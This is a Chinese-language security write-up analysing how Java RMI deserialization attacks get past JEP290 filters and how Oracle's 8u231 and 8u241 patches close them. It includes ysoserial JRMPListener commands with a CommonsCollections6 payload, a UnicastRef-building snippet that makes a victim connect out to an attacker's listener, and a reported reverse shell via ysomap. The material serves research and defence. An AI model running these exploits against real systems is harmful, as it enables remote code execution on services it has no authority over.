Java RMI 攻击分析(二)ByPass JEP290

什么是JEP290

JEP290Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141JDK 7u131JDK 8u121 版本进行了更新。

JEP290支持的版本:

  • JEP 290 在 JDK 9 中加入
  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP 290 主要提供了几个机制:

  • 提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);
  • 限制反序列化的调用深度和复杂度;
  • RMI 导出的对象设置了验证机制。( 比如对于 RegistryImpl , DGCImpl 类内置了默认的白名单过滤)
  • 过滤器机制不得要求对ObjectInputStream的现有子类进行子类化或修改。
  • 提供一个全局过滤器,可以在 properties 或配置文件中进行配置。
    实际上就是为了给用户提供一个更加简单有效并且可配置的过滤机制,以及对RMI导出对象执行检查。

其核心实际上就是提供了一个名为 ObjectInputFilter 的接口,用户在进行反序列化操作的时候,将 filter 设置给 ObjectInputStream 对象。这里就是调用 setInternalObjectInputFilter 即可:
1_JEP290ByPass
2_JEP290ByPass
每当进行一次反序列化操作时,底层就会根据 filter 中的内容来进行判断,从而防止恶意的类进行反序列化操作。此外,还可以限制反序列化数据的信息,比如数组的长度、字节流长度、字节流深度以及使用引用的个数等。filter 返回 ALLOWEDREJECTED 或者 UNDECIDED 几个状态,然后用户根据状态进行决策。
而对于RMI来说,主要是导出远程对象前,先要执行过滤器逻辑,然后才进行接下来的动作,即对反序列化过程执行检查。
此外,还提供了两种可配置过滤器的方式:
(1)通过设置jdk.serialFilter System.property-Djdk.serialFilter=<白名单类1>;<白名单类2>;!<黑名单类>
(2)直接通过conf/security/java.properties文件进行配置 如 -Djava.security.properties=<黑白名单配置文件名>
具体规则方面的内容可以直接参考原始链接:
http://openjdk.java.net/jeps/290

RMI的过滤机制

JEP 290 主要是在 ObjectInputStream 类中增加了一个serialFilter属性和一个 filterChcek 函数,其中 serialFilter 就可以理解为过滤器。

ObjectInputStream 对象进行 readObject 的时候,内部会调用 filterChcek 方法进行检查,filterCheck方法中会对 serialFilter属性进行判断,如果不是 null ,就会调用 serialFilter.checkInput 方法进行过滤。

3_JEP290ByPass

设置过滤器本质就是设置 ObjectInputStreamserialFilter 字段值,设置过滤器可以分为设置全局过滤器和设置局部过滤器:

1.设置全局过滤器是指,通过修改 Config.serialFilter 这个静态字段的值来达到设置所有 ObjectInputStream 对象的 serialFilter 值 。具体原因是因为 ObjectInputStream 的构造函数会读取Config.serialFilter的值赋值到自己的serialFilter字段上,所有就会导致所有 new 出来的 ObjectInputStream 对象的 serailFilter 都为Config.serialFilter的值。

2.设置局部过滤器是指,在 new ObjectInputStream 的之后,再修改单个 ObjectInputStream 对象的 serialFilter 字段值。

RMI 中 JEP 290 的绕过

参数利用的方式

这种利用局限性太强了。
为什么RMI客户端利用传递参数反序列化攻击RMI服务端就不受JEP290限制
那是因为JEP290提供了一些系列过滤器形式:进程级过滤器、自定义过滤器、内置过滤器。但是默认只为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。(就像我们上面看到的一样)
但是RMI客户端利用参数反序列化攻击没有也不能跟RMI注册表和RMI分布式垃圾收集器一样使用内置白名单过滤器。
绕过方式参考Java RMI 攻击分析(一)

JRMP服务端打JRMP客户端(ysoserial.exploit.JRMPListener)

JRMP(Java 远程消息交换协议),是Java的一种通信协议,其中RMI协议中的对象传输部分底层就可以通过JRMP协议实现。
而JRMP传输对象时就是基于序列化来实现的,因此在这个过程中可能会存在一些问题。
JRMP客户端反序列化顺序:

  • 反序列化服务端给的returnType
  • 反序列化服务端给的一个ID
  • 反序列化服务端给的报错信息

小问题:为啥一定要利用报错信息写payload,前两个不可以么?
当然不可以,readObject才行
那我们知道了JRMP客户端存在一个反序列化点,是可以被攻击,再来看看对应的服务端是在哪里插入payload的(我们已经知道了大概是一个报错信息处)

这里网上的文章大多是直接拿yso exploitJRMPlistener攻击代码来看了,那个代码是直接重构了JRMP服务端,把报错信息改成payload的,但是都没有说原生服务端在哪里写序列化。
服务端在三处地方可以写入payload去发起对于客户端的请求(其实应该还有更多地方,比如我们下断点找过来的路径就不是这三个的任何一个),找到之后我们就会发现,报错信息都是代码中写好的了,我们没法去控制。

那么就只有自实现拼接出一个JRMP服务端,来发送给JRMP客户端一个序列化数据,这就是YSOSERIAL-exploit-JRMPListener做的事情

复现

起一个JRMP服务端

1
java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"

这个exploit会对任何请求回应一个响应包,其中报错信息被替换成了CC6链的payload

然后客户端运行Client.java
4_JEP290ByPass
5_JEP290ByPass
成功,而且我们测试的JDK1.8.0_312是在JEP290(8u121)修复之后!
这说明JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制!

因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload

JRMP服务端打JRMP客户端的过程:

  1. 要JRMP客户端去主动连接我们的JRMP服务端(白名单过滤器只对反序列化过程有效,对序列化过程无效)
  2. 我们恶意的JRMP服务端在原本是报错信息的位置写入利用链,序列化成数据包返回到JRMP客户端。
  3. 由于JRMP客户端的反序列化过程不存在JEP290的过滤器,所以我们的payload可以成功被执行,从而完成RCE

与RMI服务端反序列化攻击RMI注册端-Bind结合

6_JEP290ByPass
服务端攻击注册端时是bind一个恶意类,注册端会反序列化这个类。但JEP290添加反序列化过滤器后,很多利用链被限制失效,就无法攻击成功了。
具体规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
数组最大长度maxarray=1000000;
调用栈最大深度maxdepth=20;
白名单要求如下:
java.lang.String;
java.lang.Number;
java.lang.reflect.Proxy;
java.rmi.Remote;
sun.rmi.server.UnicastRef;
sun.rmi.server.RMIClientSocketFactory;
sun.rmi.server.RMIServerSocketFactory;
java.rmi.activation.ActivationID;
java.rmi.server.UID

那是否可以像JRMP服务端打JRMP客户端一样,要RMI注册端作为JRMP客户端去主动连接我们的JRMP服务端(白名单过滤器只对反序列化过程有效,对序列化过程无效)。我们恶意的JRMP服务端在原本是报错信息的位置写入利用链,序列化成数据包返回到JRMP客户端(RMI注册端)。由于JRMP客户端的反序列化过程不存在JEP290的过滤器,所以我们的payload可以成功被执行,从而完成RCE。
这里唯一需要做的步骤就是让原本目标进行第一条bind攻击,转换目标成让RMI注册端去作为JRMP客户端向我们指定的JRMP服务端去发起请求,从而完成一整个攻击链的衔接,这需要我们去寻找一个所有对象都在白名单中的Gadget去完成这一任务。

UnicastRef对象-构造可以指定连接目标的UnicastRef对象

Ysoserial中的payloads-JRMPClient就是一个可以完成JRMP服务器发起JRMP连接的调用栈:

1
2
3
4
5
6
7
8
9
/** 
* UnicastRef.newCall(RemoteObject, Operation[], int, long)(!!JRMP请求的发送处!!)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)(这里是我们上面JRMP服务端打客户端,客户端的反序列化触发处)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
------这里实际上不是一个连贯的调用栈,之后说明-----
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)(!!反序列化的入口!!)

反序列化的入口其实不止readobject(),还有readExternal(),只不过后者稍微少见点。

通过调试可以发现UnicastRef对象的readExternal方法作为反序列化入口的话,我们可以通过控制序列化的内容使服务器向我们指定的服务器发起JRMP连接(通过DGC层的dirty方法发起),再通过之前讲到的JRMP客户端报错信息反序列化点完成RCE。
知道服务端反序列化处的触发流程之后,我们来看payload的构造。
一个基础的可以指定连接目标的UnicastRef对象:

1
2
3
4
5
6
7
//让受害者主动去连接的攻击者的JRMPlister的host和port
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}

如果这个对象在目标服务器反序列化成功了,就可以顺着之前分析的反序列化过程向外发起连接。但是如何让这个对象反序列化呢?还需要进一步的封装

如何让UnicastRef对象反序列化

与bind操作进行拼接

我们的目标是:将UnicastRef对象封装进入register.bind(String,Remote)的Remote参数中,从而在反序列化Remote参数的时候因为反序列化的递归的特性,进行UnicastRef对象的反序列化。那又回归到了前面讨论过的问题,如何将UnicastRef对象封装成Remote类型:

  1. 压根不封装,跟Barmie工具一样自实现通讯协议,直接发送UnicastRef(因为其实只有客户端上层函数需要remote类型的输入,服务端并没有要求是remote类型,都会反序列化)
  2. 跟RMIRegisterExploit一样,使用动态代理来实现封装
    回顾一下动态代理封装的原理:将我们的payload放在拦截器的类参数中,然后封装拦截器成Remote类型,反序列化的时候就会反序列化拦截器里面的payload的参数,从而形成反序列化。
    但是跟之前不同的是:没有白名单的时候我们可以用到AnnotationInvocationHandler装载UnicastRef对象,再把它动态代理变成Remote对象。
    但是在JEP290之后有了白名单限制,AnnotationInvocationHandler对象被禁了。
    我们需要用到
    动态代理-RemoteObjectInvocationHandler就是Ysoserial-Payload-JRMPClient实现逻辑
  3. 找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进register.bind(String,Remote)中就可以了。

bind的限制:
bind操作中注册端对于服务端的地址验证。可以通过lookup来替换bind操作来进行攻击,这样可以绕过bind操作中对于服务端得地址验证。

https://xz.aliyun.com/t/7932#toc-3

与RMI客户端反序列化攻击RMI服务端-Lookup结合

https://xz.aliyun.com/t/7932#toc-4

An Trinh的RMI注册端Bypass思路

先回顾一下我们之前是如何绕过JEP290的:
攻击者发送payloadRMI注册端发起一个JRMP请求去链接我们的JRMP服务器,然后接受并反序列化我们JRMP服务器返回的报错信息,反序列化的时候通过RMI注册端内部的利用链(比如CC)完成命令执行
An Trinh的绕过思路还是这个套路,JRMP的部分一模一样没有改变,与我们之前不同的是如何让RMI注册端发起JRMP请求这一部分。
之前我们提出许多许多攻击方式:绕过客户端-自实现协议去封装、动态代理、UnicastRef类型参数实现Remote接口的类等等、甚至可以自定义一个符合要求的类来攻击。

但是回归到这些攻击方式,其本质都是利用:

  • readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
  • readobejct反序列化的过程中填装UnicastRef类到incomingRefTable
  • releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求

但是An Trinh提出了一个新的思路来发起JRMP请求,不是利用readobject的递归-填装-触发的模式,而是readobject函数调用过程直接触发JRMP请求。
他的payload攻击过程中:会在readobject函数中触发他的Gadgets发起JRMP连接,但是在完成后,又会回到我们的readobject的递归-填装-触发的模式中发起第二次JRMP连接。具体流程如下:

  • readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的refincomingRefTable
  • 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObjectreadObject,他的Gadgets会在这里触发一次JRMP请求
  • releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求

同时他Gadgets发起JRMP请求只会发起一次请求,而readobject的递归-填装-触发的JRMP请求,由于会检测DGC是否绑定成功会循环发起JRMP,形成天然的心跳木马(划重点)。

具体分析可看https://xz.aliyun.com/t/7932#toc-5
总结三个关键点:

  • 利用readobject的复写特性执行UnicastRemoteObjectreadObject
  • 利用动态代理的拦截执行invoke的特性,在UnicastRemoteObject#readObject的调用链中执行proxy对象.createServerSocket跳到了RemoteObjectInvocationHandlerinvoke方法
  • RemoteObjectInvocationHandlerinvoke方法可以根据内置的ref向外发起JRMP连接,再反序列化返回结果

复现—绕过8u231

使用ysomap复现
首先开启一个Server端
ysomap0
然后使用ysoserial开启JRMP服务端

1
java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1111 CommonsCollections6 "cmd"

ysomap1
接着使用ysomap进行攻击
ysomap2
可以看到反弹shell到远程服务器,判断路径,来自Registry端。
ysomap3
看一下JRMP服务端发生了什么
ysomap4

另外,我使用JDK1.8.0_05可以攻击成功,使用1.8.0_312攻击失败。

修复

8u231的修复

  • sun.rmi.registry.RegistryImpl_Skel#dispatch报错情况消除ref
  • sun.rmi.transport.DGCImpl_Stub#dirty在解析之前进行了黑名单限制

第一处修复:
其实只有一行的区别,在每个动作比如lookup,bind等中都添加了一个逻辑:如果出现了序列化报错都会进入catch,执行discardPedingRefs。
在discardPendingRefs中其实也就是做了一件事情,把我们之前装载的incomingRefTable清空
那么很清楚假如我们的payload在序列化中发生了报错,那么我们想尽办法装载的ref就会被清掉,那么之前的绕过方式都会有异常抛出

自定义类(动态代理或接口):报错ClassNotFoundException

1
2
因为我们传入的类虽然会完成装载,但是在后续的序列化逻辑中肯定是会因为找不到我们的恶意类而发生ClassNotFoundException报错的。
被干掉了。

动态代理转换接口或者找内置接口:报错ClassCastException

1
2
3
其他的payload虽然因为都是有内置类的,这些内置类在序列化的时候var9.readObject();是没问题的。
但是这里还有一个类型转换的逻辑var8 = (String)var9.readObject();在类型转换的时候就会发生报错。
从而也被干掉了。

第二处修复:
实际上第一处修复已经完美修复了,但是还有第二处修复针对的是ref被触发的时候,即var7.releaseInputStream();
在处理UnicastRef对象时,它必定会经过sun.rmi.transport.DGCImpl_Stub#dirty
在dirty方法中三个关键语句:

1
2
3
this.ref.newCall:发起JRMP请求
var6.setObjectInputFilter(DGCImpl_Stub::leaseFilter);过滤
this.ref.invoke():触发JRMP返回payload反序列化解析

把过滤器放在解析之前,那么JRMP请求是可以发起的,但是你最后命令执行的payload(比如CC)会被过滤器给干掉。
看下过滤器sun.rmi.transport.DGCImpl_Stub#leaseFilter:一样对长度、深度、黑名单做了限制

8u231修复的绕过

An Trinh的RMI注册端Bypass思路

8u241的修复

8u241的修复第一处
8u241版本,针对这个绕过链进行了修复:修复说明在Oracle官网也有说明
重点就是把应该是String的地方从本来的(String)var9.readobject()改成了SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);
前者是可以反序列化Object的,但是后者就完全不接受反序列化Object

8u241的修复第二处
8u241还修复了调用栈中的java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod方法。
添加了一处针对传入method的验证,验证远程调用的method是一个remote,接口,这个method不是我们可控的。
由于动态代理特性过来的,method就是createServerSocket这个方法,然而它理所当然不是一个remote接口
所以即使我们用bind绕过第一个修复,还是被第二个修复处给干掉了。

Reference

https://www.anquanke.com/post/id/200860
https://xz.aliyun.com/t/7932
https://www.anquanke.com/post/id/263726
https://m.freebuf.com/articles/web/324692.html